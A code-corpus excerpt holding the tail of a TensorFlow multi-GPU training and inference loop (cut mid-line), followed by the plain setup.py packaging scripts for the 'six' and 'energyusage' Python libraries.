flags.REPORT_STEP == 0) summary_step = flags.SUMMARY_STEP and handlers.train_logger and ((handlers.iteration+1) % flags.SUMMARY_STEP == 0) checkpt_step = flags.CHECKPOINT_STEP and flags.WEIGHT_PREFIX and ((handlers.iteration+1) % flags.CHECKPOINT_STEP == 0) tstart = time.time() idx,data,label,weight = handlers.data_io.next() tspent_io = time.time() - tstart tsum_io += tspent_io current_idx = 0 loss_v = [] accuracy_v = [] handlers.trainer.zero_gradients(handlers.sess) # Accummulate gradients tspent_train = 0. tspent_summary = 0. while current_idx < flags.BATCH_SIZE: tstart = time.time() data_v = [] label_v = [] weight_v = None if weight is not None: weight_v = [] for _ in flags.GPUS: start = current_idx end = current_idx + flags.MINIBATCH_SIZE data_v.append(data[start:end]) label_v.append(label[start:end]) if weight is not None: weight_v.append(weight[start:end]) current_idx = end # compute gradients make_summary = summary_step and (current_idx == flags.BATCH_SIZE) res = handlers.trainer.accum_gradient(handlers.sess,data_v,label_v,weight_v,summary=make_summary) accuracy_v.append(res[1]) loss_v.append(res[2]) tspent_train = tspent_train + (time.time() - tstart) # log summary if make_summary: tstart = time.time() handlers.train_logger.add_summary(res[3],handlers.iteration) tspent_summary = time.time() - tstart # Apply gradients tstart = time.time() handlers.trainer.apply_gradient(handlers.sess) tspent_train = tspent_train + (time.time() - tstart) tsum_train += tspent_train tsum_summary += tspent_summary # Compute loss/accuracy loss = np.mean(loss_v) accuracy = np.mean(accuracy_v) epoch = handlers.iteration * float(flags.BATCH_SIZE) / handlers.data_io.num_entries() # Save snapshot tspent_save = 0. if checkpt_step: tstart = time.time() ssf_path = handlers.weight_io.save(handlers.sess,flags.WEIGHT_PREFIX,global_step=handlers.iteration) tspent_save = time.time() - tstart print('saved @',ssf_path) # Report (logger) if handlers.csv_logger: tspent_iteration = time.time() - tstart_iteration tsum += tspent_iteration csv_data = '%d,%g,' % (handlers.iteration,epoch) csv_data += '%g,%g,%g,%g,%g,' % (tspent_iteration,tspent_train,tspent_io,tspent_save,tspent_summary) csv_data += '%g,%g,%g,%g,%g,' % (tsum,tsum_train,tsum_io,tsum_save,tsum_summary) csv_data += '%g,%g\n' % (loss,accuracy) handlers.csv_logger.write(csv_data) # Report (stdout) if report_step: loss = round_decimals(loss,4) accuracy = round_decimals(accuracy,4) tfrac = round_decimals(tspent_train/tspent_iteration*100.,2) epoch = round_decimals(epoch,2) mem = handlers.sess.run(tf.contrib.memory_stats.MaxBytesInUse()) msg = 'Iteration %d (epoch %g) @ %s ... train time fraction %g%% max mem. %g ... loss %g accuracy %g' msg = msg % (handlers.iteration,epoch,tstamp_iteration,tfrac,mem,loss,accuracy) print(msg) sys.stdout.flush() if handlers.csv_logger: handlers.csv_logger.flush() if handlers.train_logger: handlers.train_logger.flush() # Increment iteration counter handlers.iteration +=1 handlers.train_logger.close() handlers.csv_logger.close() handlers.data_io.finalize() def inference_loop(flags,handlers): handlers.csv_logger.write('iter,epoch') handlers.csv_logger.write(',titer,tinference,tio') handlers.csv_logger.write(',tsumiter,tsuminference,tsumio') handlers.csv_logger.write(',loss,accuracy\n') tsum = 0. tsum_io = 0. tsum_inference = 0. while handlers.iteration < flags.ITERATION: tstamp_iteration = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S') tstart_iteration = time.time() report_step = flags.REPORT_STEP and ((handlers.iteration+1) % flags.REPORT_STEP == 0) tstart = time.time() idx,data,label,weight = handlers.data_io.next() tspent_io = time.time() - tstart tsum_io += tspent_io current_idx = 0 softmax_vv = [] loss_v = [] accuracy_v = [] # Run inference tspent_inference = 0. tstart = time.time() while current_idx < flags.BATCH_SIZE: data_v = [] label_v = None weight_v = None if label is not None: label_v = [] if weight is not None: weight_v = [] for _ in flags.GPUS: start = current_idx end = current_idx + flags.MINIBATCH_SIZE data_v.append(data[start:end]) if label is not None: label_v.append(label[start:end]) if weight is not None: weight_v.append(weight[start:end]) current_idx = end # compute gradients res = handlers.trainer.inference(handlers.sess,data_v,label_v,weight_v) if flags.LABEL_KEY: softmax_vv = softmax_vv + res[0:-2] accuracy_v.append(res[-2]) loss_v.append(res[-1]) else: softmax_vv = softmax_vv + res tspent_inference = tspent_inference + (time.time() - tstart) tsum_inference += tspent_inference # Store output if requested if flags.OUTPUT_FILE: idx_ctr = 0 for softmax_v in softmax_vv: for softmax in softmax_v: handlers.data_io.store(idx[idx_ctr],softmax) idx_ctr += 1 # Compute loss/accuracy loss,accuracy=[-1,-1] if flags.LABEL_KEY: loss = np.mean(loss_v) accuracy = np.mean(accuracy_v) epoch = handlers.iteration * float(flags.BATCH_SIZE) / handlers.data_io.num_entries() # Report (logger) if handlers.csv_logger: tspent_iteration = time.time() - tstart_iteration tsum += tspent_iteration csv_data = '%d,%g,' % (handlers.iteration,epoch) csv_data += '%g,%g,%g,' % (tspent_iteration,tspent_inference,tspent_io) csv_data += '%g,%g,%g,' % (tsum,tsum_inference,tsum_io) csv_data += '%g,%g\n' % (loss,accuracy) handlers.csv_logger.write(csv_data) # Report (stdout) if report_step: loss = round_decimals(loss,4) accuracy = round_decimals(accuracy,4) tfrac = round_decimals(tspent_inference/tspent_iteration*100.,2) epoch = round_decimals(epoch,2) mem = handlers.sess.run(tf.contrib.memory_stats.MaxBytesInUse()) msg = 'Iteration %d (epoch %g) @ %s ... inference time fraction %g%% max mem. %g ... loss %g accuracy %g' msg = msg % (handlers.iteration,epoch,tstamp_iteration,tfrac,mem,loss,accuracy) print(msg) sys.stdout.flush() if handlers.csv_logger: handlers.csv_logger.flush() # Increment iteration counter handlers.iteration +=1 handlers.csv_logger.close() handlers.data_io.finalize()
69852
from __future__ import with_statement try: from setuptools import setup except ImportError: from distutils.core import setup import six six_classifiers = [ 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Topic :: Software Development :: Libraries', 'Topic :: Utilities', ] with open('README', 'r') as fp: six_long_description = fp.read() setup(name='six', version=six.__version__, author='<NAME>', author_email='<EMAIL>', url='http://pypi.python.org/pypi/six/', py_modules=['six'], description='Python 2 and 3 compatibility utilities', long_description=six_long_description, license='MIT', classifiers=six_classifiers )
69855
from setuptools import setup, find_packages with open("README.md", "r") as fh: long_description = fh.read() NAME = "energyusage" VERSION = "0.0.13" DESCRIPTION = "Measuring the environmental impact of computation" LONG_DESCRIPTION = long_description LONG_DESCRIPTION_CONTENT_TYPE = 'text/markdown' URL = "https://github.com/responsibleproblemsolving/energy-usage" AUTHOR = "<NAME>, <NAME>, <NAME>" AUTHOR_EMAIL = "<EMAIL>" LICENSE = "Apache 2.0" CLASSIFIERS = [ "Programming Language :: Python :: 3", "License :: OSI Approved :: Apache Software License", "Operating System :: OS Independent", ] PACKAGES = ['energyusage'] PACKAGE_DATA = { 'energyusage.data.csv' : ['*.csv'], 'energyusage.data.json' : ['*.json'] } INCLUDE_PACKAGE_DATA = True PACKAGE_DIR = { 'energyusage.data' : 'data' } INSTALL_REQUIRES = [ 'requests', 'reportlab' ] setup( name= NAME, version=VERSION, description=DESCRIPTION, long_description=LONG_DESCRIPTION, long_description_content_type = LONG_DESCRIPTION_CONTENT_TYPE, url=URL, author=AUTHOR, author_email = AUTHOR_EMAIL, license = LICENSE, classifiers=CLASSIFIERS, packages = PACKAGES, package_data = PACKAGE_DATA, include_package_data = INCLUDE_PACKAGE_DATA, package_dir = PACKAGE_DIR, install_requires=INSTALL_REQUIRES )